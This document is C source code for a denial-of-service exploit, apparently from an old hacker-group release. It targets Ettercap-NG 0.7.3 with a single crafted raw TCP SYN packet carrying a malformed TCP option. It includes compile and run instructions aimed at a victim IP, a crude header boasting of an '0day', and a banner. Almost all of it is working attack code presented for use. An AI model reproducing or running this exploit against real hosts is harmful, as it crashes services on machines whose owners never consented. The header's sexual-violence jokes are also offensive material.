/*<br>&nbsp;&nbsp;&nbsp;&nbsp; WARNING WARNING WARNING <br><br>&nbsp;&nbsp;&nbsp;&nbsp; THIS PACKAGE CONTAINS AN 0DAY. <br>&nbsp;&nbsp;&nbsp;&nbsp; NO ONE CAN BE HELD RESPONSIBLE IF THIS CODE RAPES YOUR SISTER OR MOLESTS YOUR DOG.<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; WARNING WARNING WARNING<br><br><br>
&nbsp;&nbsp;&nbsp;&nbsp; THE ONE PACKET ETTERCAP KILLER NOW IN A SMALLER PACKAGE!<br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; If you want to know how this works then figure it out yourself. <br>&nbsp;&nbsp;&nbsp;&nbsp; Tested with Ettercap-NG v 0.7.3 on FreeBSD 6.1 and Slackware 10.1<br><br>
&nbsp;&nbsp;&nbsp;&nbsp; greetz go out to tip, milkmang, chrak, jcb, rest of b4b0, mosthated, xtaylor, and rest of global hell,riot, JxT, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p00kie_p0x, tadp0le, #oldskewl, #ubergeeks, #wp, le_kickban for fucking french women and anyone else I forgot..
<br><br>&nbsp;&nbsp;&nbsp;&nbsp; REMEBER KIDS EVILRABBI LOVES YOU :*.<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; gcc -Wall -o b4b0-ettercap&nbsp; b4b0-ettercap.c<br>&nbsp;&nbsp;&nbsp; ./b4b0-ettercap &lt;victim_ip&gt;<br><br>*/<br><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>
#include &lt;sys/types.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;linux/ip.h&gt;<br>#include &lt;linux/tcp.h&gt;<br>#include &lt;netinet/in.h&gt;<br>#include &lt;arpa/inet.h&gt;<br>#include &lt;unistd.h&gt;<br>
#include &lt;string.h&gt;<br>#include &lt;netdb.h&gt;<br><br>#define IP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct iphdr<br>#define TCP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct tcphdr<br><br>void usage();<br>unsigned short ipChecksum(unsigned short *ptr, int nbytes);
<br><br>void usage()<br>{<br>int i;<br>for (i=0; i &lt; 100; i++) { printf(&quot;\n&quot;);}<br><br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVVV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVVV\n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVV[ T34M B4B0 PROUDLY PRESENTS: ]VVVV\n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVV\n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVV&nbsp;&nbsp; b4b0-ettercap.c&nbsp;&nbsp; VVVVVVV\n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .&nbsp;&nbsp;&nbsp; $&amp;y&nbsp;&nbsp;&nbsp; VVVVVVVVVV&nbsp;&nbsp; ,p&amp;&nbsp;&nbsp; y&amp;$&nbsp; VVVVVVVVVV,a8888a,\n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $$&#39;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVV,d$$$&nbsp;&nbsp; $$&#39; VVVVV .s$&#39;,8P\&quot;&#39;&nbsp; `\&quot;Y8,&nbsp;&nbsp;&nbsp;&nbsp; . \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yxxx.$$.xxxxxxxxxxxx ,d$\&quot;`$$.x.$$.xxxxxxxx.,8P.xxxx.s`$$,.xxxg \n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ P&#39; $$,d$$Yba,&nbsp;&nbsp;&nbsp; ,d$\&quot; d $$&nbsp;&nbsp; $$,d$$Yba,&nbsp; 88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ,$.$$$&nbsp;&nbsp;&nbsp; $ \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ &#39;&nbsp; $$P&#39;&nbsp; ,`$$a ,d$\&quot; ``\&quot; $$ , $$$P&#39; ,`Y$a 88&nbsp;&nbsp;&nbsp;&nbsp; ,s$,$$$&nbsp; . $ \n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $&nbsp;&nbsp;&nbsp; $$k&nbsp;&nbsp; g Y$$ $$$$$$$$$$$$$ $$f&nbsp;&nbsp; d d$$ `8b&nbsp;&nbsp; ,$$&#39;d$$&#39; ,d $ \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bxxx.$$$, &#39;`,d$\&quot;.xxxxxxxx.$$.x.$$b, &#39;,a$$\&quot;.x`8ba,,aad$$&#39;.xxxxd.&nbsp; . \n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s$Y\&quot;Y$bd$P&#39;,yas.VVVV s$$z&nbsp; $Y\&quot;Y$$$P\&quot;&#39;&nbsp;&nbsp;&nbsp;&nbsp; \&quot;Y$$$$(headflux)$ \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVV&nbsp;&nbsp;&nbsp; VVVVVVVV \n&quot;);
<br>&nbsp;printf(&quot;&nbsp; ettercap-ng v0.7.3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVV&nbsp; VVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp; Denial of Service&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp; by EvilRabbi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVVVVVV \n&quot;);<br>
&nbsp;printf(&quot; &lt;evilrabbi[@]gmail.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVVVV \n&quot;);<br>&nbsp;printf(&quot;./b4b0-ettercap&nbsp; &lt;victim ip&gt;&nbsp;&nbsp;&nbsp;&nbsp; VVVVVV \n&quot;);
<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VVVV \n&quot;);<br>&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VV \n&quot;);<br>}<br>unsigned short ipChecksum(unsigned short *ptr, int nbytes)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; register long sum;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; register u_short answer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; u_short oddbyte;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum = 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (nbytes &gt; 1) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum += *ptr++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nbytes -= 2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (nbytes == 1) {
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oddbyte = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *((u_char *) &amp; oddbyte) = *(u_char *) ptr;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum += oddbyte;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum += (sum &gt;&gt; 16);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer = ~sum;<br>return (answer);<br>}<br><br>int main(int argc, char **argv)<br>{<br>&nbsp;&nbsp;&nbsp; int sockfd, opt = 1; <br>&nbsp;&nbsp;&nbsp; char tcpoptions[4];<br>&nbsp;&nbsp;&nbsp; char dest[20];<br>&nbsp;&nbsp;&nbsp; unsigned int pLen,sIPLen;<br>&nbsp;&nbsp;&nbsp; unsigned char pkt[(pLen = sizeof(IP) + sizeof(TCP) + 4)];
<br>&nbsp;&nbsp;&nbsp; unsigned char ip[(sIPLen = 12 + sizeof(TCP) + 4)];<br>&nbsp;&nbsp;&nbsp; struct hostent *he;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in host;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in s;<br><br>&nbsp;&nbsp;&nbsp; struct in_addr etter; <br>&nbsp;&nbsp;&nbsp; IP *iphdr = (IP *)pkt;<br>&nbsp;&nbsp;&nbsp; TCP *tcphdr = (TCP *)((unsigned char *)pkt + sizeof(IP));&nbsp;&nbsp;&nbsp; 
<br><br>&nbsp;&nbsp;&nbsp; if (getuid() != 0) {<br>&nbsp;&nbsp;&nbsp; printf(&quot;you need to be r00t =(\n&quot;);<br>&nbsp;&nbsp;&nbsp; exit(0);<br>&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp; if (argc != 2) {<br>&nbsp;&nbsp;&nbsp; usage();<br>&nbsp;&nbsp;&nbsp; exit(0);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; if ((he=gethostbyname(argv[1])) == NULL) {&nbsp; // get the host info 
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; herror(&quot;gethostbyname&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<br>&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp; snprintf (dest,sizeof(dest)-1,&quot;%d.%d.%d.%d\n&quot;, (unsigned char)he-&gt;h_addr_list[0][0], <br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; (unsigned char)he-&gt;h_addr_list[0][1],
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (unsigned char)he-&gt;h_addr_list[0][2],<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (unsigned char)he-&gt;h_addr_list[0][3]);<br><br>&nbsp;&nbsp;&nbsp; if ((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; perror(&quot;socket&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&amp;opt,sizeof(opt));<br><br>&nbsp;&nbsp;&nbsp;&nbsp; etter.s_addr = inet_addr(dest);<br>&nbsp;&nbsp;&nbsp; s.sin_addr.s_addr = INADDR_ANY;
<br>&nbsp;&nbsp;&nbsp; //etter.s_addr = inet_addr(&quot;<a href="http://69.46.19.77">69.46.19.77</a>&quot;);<br>&nbsp;&nbsp;&nbsp; memset(tcpoptions,0,sizeof(tcpoptions));<br>&nbsp;&nbsp;&nbsp; tcpoptions[0]=0x08;<br>&nbsp;&nbsp;&nbsp; tcpoptions[1]=0x00;<br>&nbsp;&nbsp;&nbsp; tcpoptions[2]=0x00;
<br>&nbsp;&nbsp;&nbsp; tcpoptions[3]=0x00;<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; memset(&amp;host, 0, sizeof(host));<br>&nbsp;&nbsp;&nbsp; memset(pkt, 0, pLen);<br>&nbsp;&nbsp;&nbsp; memcpy(pkt+sizeof(IP)+sizeof(TCP), tcpoptions, sizeof(tcpoptions));<br>&nbsp;&nbsp;&nbsp; memset(ip, 0, sIPLen);<br>&nbsp;&nbsp;&nbsp; *((unsigned long *)((unsigned char *)ip+0)) = 
s.sin_addr.s_addr;<br>&nbsp;&nbsp;&nbsp; *((unsigned long *)((unsigned char *)ip+4)) = etter.s_addr;<br>&nbsp;&nbsp;&nbsp; *((unsigned char *)((unsigned char *)ip+8)) = 0;<br>&nbsp;&nbsp;&nbsp; *((unsigned char *)((unsigned char *)ip+9)) = IPPROTO_TCP;<br>&nbsp;&nbsp;&nbsp; *((unsigned short *)((unsigned char *)ip+10)) = htons(pLen - sizeof(IP));
<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;ihl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 5;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = rand() &amp; 0xFFFF;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;id = iphdr-&gt;id + 1;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;saddr = s.sin_addr.s_addr;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;daddr = 
etter.s_addr;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;protocol&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = IPPROTO_TCP;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; iphdr-&gt;ttl&nbsp;&nbsp;&nbsp;&nbsp; = 255;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;tot_len&nbsp;&nbsp;&nbsp;&nbsp; = pLen;<br>&nbsp;&nbsp;&nbsp; iphdr-&gt;check&nbsp;&nbsp;&nbsp;&nbsp; = ipChecksum((u_short *)iphdr, sizeof(IP));<br><br>&nbsp;&nbsp;&nbsp; host.sin_family
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = AF_INET;<br>&nbsp;&nbsp;&nbsp; host.sin_addr.s_addr = etter.s_addr;<br><br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;source = htons(8);<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;dest = htons(1);<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;seq&nbsp;&nbsp; = htonl(rand());<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;ack_seq&nbsp;&nbsp; = htonl(rand());
<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;doff&nbsp;&nbsp; = ((sizeof(TCP)+4) / 4);<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;check=0;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;fin&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;syn&nbsp;&nbsp;&nbsp;&nbsp; = 1;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;rst&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;psh&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;ack&nbsp;&nbsp;&nbsp;&nbsp; = 0;
<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;urg&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;window&nbsp;&nbsp; = htons(5840);<br>&nbsp;&nbsp;&nbsp; memcpy(ip+12, ((unsigned char *)pkt)+sizeof(IP), pLen - sizeof(IP));<br>&nbsp;&nbsp;&nbsp; tcphdr-&gt;check = ipChecksum((u_short *)&amp;ip, sIPLen);<br>&nbsp;<br>
&nbsp;&nbsp; sendto(sockfd, pkt, pLen, 0, (struct sockaddr *)&amp;host, sizeof(host));<br><br>&nbsp;&nbsp; return 0;<br>}<br>